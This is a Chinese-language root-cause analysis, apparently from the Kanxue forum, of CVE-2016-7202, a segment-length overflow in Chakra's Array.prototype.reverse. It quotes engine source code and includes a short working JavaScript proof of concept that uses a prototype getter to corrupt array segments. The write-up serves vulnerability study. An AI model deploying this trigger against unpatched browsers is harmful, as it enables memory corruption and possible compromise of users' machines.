CVE-2016-7202:Overflow in Array.reverse
这是一个natashenka在16年报的漏洞,关注浏览器的同学应该都有看过她的《The ECMA and the Chakra
-Hunting bugs in the Microsoft Edge Script Engine》
poc首先定义了一个array a和object o,之后给object o设置一个getter。并将a的proto设为o,之后对a调用Array.prototype.reverse。
https://bugs.chromium.org/p/project-zero/issues/detail?id=925
var a = [1];a.length = 1000;var j = [];var o = {};Object.defineProperty(o, '1', {get: function() {a.length = 1002;j.fill.call(a, 7.7);return 2;}});a.__proto__ = o;var r = j.reverse.call(a);r.length = 0xfffffffe;r[0xfffffffe - 1] = 10;
异常出现在如下函数
void SparseArraySegmentBase::EnsureSizeInBound(uint32 left, uint32 length, uint32& size, SparseArraySegmentBase* next){uint32 nextLeft = next ? next->left : JavascriptArray::MaxArrayLength;Assert(nextLeft > left);if(size != 0){// Avoid writing to 'size' for an empty segment. The empty segment is a constant structure and writing to it (even// if it's not being changed) may cause an AV.size = min(size, nextLeft - left);}Assert(length <= size); <====crash}
其中length的值为0x000003ea,size值为1,导致Assert抛出异常。
观察函数可以知道nextLeft为JavascriptArray::MaxArrayLength也就是0xffffffff
而size = min(size, nextLeft - left),length值为我们设置的1002(0x000003ea)是正常值,nextLeft和length值为正常说明left值存在问题。
观察left值来源
seg->left = ((uint32)length) - (seg->left + seg->length);
跟踪函数流程,发现是由以下函数调用到的
template <typename T>Var JavascriptArray::ReverseHelper(JavascriptArray* pArr, Js::TypedArrayBase* typedArrayBase, RecyclableObject* obj, T length, ScriptContext* scriptContext)
由文档可知JavascriptArray::ReverseHelper对应于Array.prototype.reverse
reverse方法用于将数组中元素的位置颠倒
a1=[1,2,3];a1.reverse();
[object Array][3, 2, 1]
首先来看下Array.prototype.reverse是怎么实现的
1.Let O be ToObject(this value).
2.Let len be ToLength(Get(O, "length")).
3.Let middle be floor(len/2).
4.Let lower be 0.
首先获取长度设为len,取中间值设为middle,起始值设为lower为0
之后就是循环交换upper和lower指向的值,如下图
对应到Chakra的代码中则是如下情况
while (seg){nextSeg = seg->next;// If seg.length == 0, it is possible that (seg.left + seg.length == prev.left + prev.length),// resulting in 2 segments sharing the same "left".if (seg->length > 0){if (isIntArray){((SparseArraySegment<int32>*)seg)->ReverseSegment(recycler);}else if (isFloatArray){((SparseArraySegment<double>*)seg)->ReverseSegment(recycler);}else{((SparseArraySegment<Var>*)seg)->ReverseSegment(recycler);}seg->left = ((uint32)length) - (seg->left + seg->length);seg->next = prevSeg;// Make sure size doesn't overlap with next segment.// An easy fix is to just truncate the size...seg->EnsureSizeInBound();// If the last segment is a leaf, then we may be losing our last scanned pointer to its previous// segment. Hold onto it with pinPrevSeg until we reallocate below.pinPrevSeg = prevSeg;prevSeg = seg;}seg = nextSeg;}
其中ReverseSegment函数负责真正的置换操作,根据数组元素的类型执行对应的模版函数。
template<typename T>
void SparseArraySegment<T>::ReverseSegment(Recycler *recycler){if (length <= 1){return;}T temp;uint32 lower = 0;uint32 upper = length - 1;while (lower < upper){temp = elements[lower];elements[lower] = elements[upper];elements[upper] = temp;++lower;--upper;}}
seg->left = ((uint32)length) - (seg->left + seg->length);
其中length是由上层函数传递的,seg->length是从对象中获取的,调试发现这两个值有所不同
length为1000,而seg->length为1002,这里相减产生负值导致crash发生。
根据POC猜测这里对象中的length改变是由于对a数组设置的getter
var o = {};Object.defineProperty(o, '1', {get: function() {a.length = 1002;j.fill.call(a, 7.7);return 2;}});a.__proto__ = o;
根据调试发现ForEachOwnMissingArrayIndexOfObject中调用ES5Array::GetItem触发了Getter导致array的segment发生变化
if (descriptor->Getter){RecyclableObject* func = RecyclableObject::FromVar(descriptor->Getter);*value = Js::JavascriptOperators::CallGetter(func, originalInstance, requestContext);}
那么getter中的j.fill.call(a, 7.7)存在的意义是什么呢,如果只是把a.length设为1002,虽然array object的length会变成1002但是array对应的segment的length和size并不会变成1002,因为这块内存并没有实际使用因此就不会更改segment的长度,从而无法触发漏洞。
至此我们明确了漏洞产生的原因在于segment的长度可以在函数执行过程中被改变(比如通过getter)。
小结
seg->left = ((uint32)length) - (seg->left + seg->length);
这里的seg->left是直接使用上层传递的参数length进行运算的,因此length是固定的但是seg->length是可以通过user callback控制的,从而使得用户可以控制seg值。
此外还有一个版本的POC是通过Proxy劫持getPrototypeOf实现的user callback篡改segment长度,基本原理一致不再详细分析。
本文由看雪论坛 Ox9A82 原创
转载请注明来自看雪社区
热门推荐 | 看雪学院
更多精彩文章请访问看雪论坛